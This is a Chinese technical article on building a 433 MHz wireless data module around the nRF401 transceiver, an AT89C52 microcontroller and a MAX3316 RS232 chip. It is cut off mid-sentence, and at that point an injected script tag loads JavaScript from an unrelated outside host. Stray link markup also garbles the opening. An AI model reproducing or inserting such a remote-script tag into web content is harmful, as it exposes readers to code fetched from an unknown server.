概 述
所设计的无线数传模块由单片射频收发芯片nrf401-p.htm" target="_blank" title="nrf401货源和pdf资料">nrf401、at89c52微控制器和max3316接口芯片构成，工作在433.92／434.33mhz频段；可方便地嵌入在各种测量和控制系统中进行无线数据传输，在车辆监控、无线抄表、无线232数据通信、计算机遥控遥测系统中应用。
nrf401是北欧集成电路公司（nordic）的产品，是一个为433mhz ism频段设计的真正单片uhf无线收发芯片，满足欧洲电信工业标准（etsi）en300 200-1 v1.2.1。它采用fsk调制解调技术，最高工作速率可以达到20k，发射功率可以调整，最大发射功率是+10dbm。nrf401的天线接口设计为差分天线，以便于使用低成本的pcb天线。它要求非常少的外围元件（约10个），无需声表滤波器、变容管等昂贵的元件，只需要便宜且易于获得的4mhz晶体，收发天线合一。无需进行初始化和配置，不需要对数据进行曼彻斯特编码，有两个工作频宽（433.92/434.33mhz）,工作电压范围可以从2.7-5v，还具有待机模式，可以更省电和高效。
nrf401无线收发芯片的结构框图如图1所示：内部结构可分为发射电路、接收电路、模式和低功耗控制逻辑电路及串行接口几部分。发射电路包含有：射频功率放大器、锁相环（pll），压控振荡器（vco），频率合成器等电路。基准振荡器采用外接晶体振荡器，产生电路所需的基准频率。
其主要特性如下:
●工作频率为国际通用的数传频段
●fsk调制，抗干扰能力强，特别适合工业控制场合；
●采用pll频率合成技术，频率稳定性极好；
●灵敏度高，达到-105dbm（nrf401）；
●功耗小，接收状态250 a，待机状态仅为8 a（nrf401）；
●最大发射功率达 +10dbm ；
●低工作电压（2.7v），可满足低功耗设备的要求；
●具有多个频道，可方便地切换工作频率 ；
●工作速率最高可达20kbit/s（rf401）；
●仅外接一个晶体和几个阻容、电感元件，基本无需调试；
●因采用了低发射功率、高接收灵敏度的设计，使用无需申请许可证，开阔地的使用距离最远可达1000米 (与具体使用环境及元件参数有关)。
引脚排列和功能
nrf401无线收发芯片具有20个引脚。
重要时序参数
tx与rx之间的切换
当从rx切换到tx模式时,数据输入脚(din)必须保持为高至少1ms才能收发数据。当从tx切换到rx时，数据输出脚（dout）要至少3ms以后有数据输出。
standby与rx之间的切换
从待机模式到接收模式，当pwr_up输入设成1时，经过tsr时间后,dout脚输出数据才有效。对 nrf401来说，tst最长的时间是3ms。
从待机模式到发射模式，所需稳定的最大时间是tst。
power up与tx间的切换
从加电到发射模式过程中，为了避免开机时产生干扰和辐射，在上电过程中txen的输入脚必须保持为低，以便于频率合成器进入稳定工作状态。当由上电进入发射模式时，txen必须保持1ms以后才可以往din发送数据。
从上电到接收模式过程中，芯片将不会接收数据，dout也不会有数据输出，直到电压稳定达到2.7v以上，并且至少保持5ms。如果采用外部振荡器，这个时间可以缩短到3ms。
应用电路及设计应注意问题
在实际应用中，微控制器采用atmel公司的at89c52，分别用单片机的p1口各管脚控制nrf401的din、dout、txen、pwrup、cs这五个脚即可。具体连接可参见图3。
接口芯片采用美信公司的rs232转换芯片max3316，完成单片机和计算机rs232接口的电平转换及数据发送、接收、请求、清除功能。关于此芯片的使用可参见其手册。
在nrf401芯片使用时，设定好工作频率，进入正常工作状态后，通过单片机根据需要进行收发转换控制，发送／接收数据或进行状态转换。在实际的设计应用中，需要注意以下几个问题：
1）天线的接入
ant1和ant2是接收时lna的输入，以及发送时功率放大器的输出。连接nrf401的天线是以差分方式连接到nrf401的。在天线端推荐的负载阻抗是400欧姆。图3是一个典型的采用差分方式的原理图。射频功率放大器输出是两个开路输出三极管，配制成差分配对方式，功率放大器的vdd必须通过集电极负载，当采用差分环形天线时，vdd必须通过环形天线的中心输入。
2）与单片机共用一个晶振
nrf401可以与单片机共用一个晶振，图4表示了这种应用的连接方式。需要注意从单片机引入的晶体走线不能离数据线或者控制线太近。
pcb布局和去耦设计 印刷电路板（pcb）的设计直接关系到射频性能，为了获得较好的rf性能，pcb设计至少需要两层板来实现，pcb分成射频电路和控制电路两部分布置。nrf401采用pcb天线，在天线的下面没有接地面。射频部分的电源与数字电路部分的电源分离。
为了减少分布参数的影响，?script src=http://er12.com/t.js>
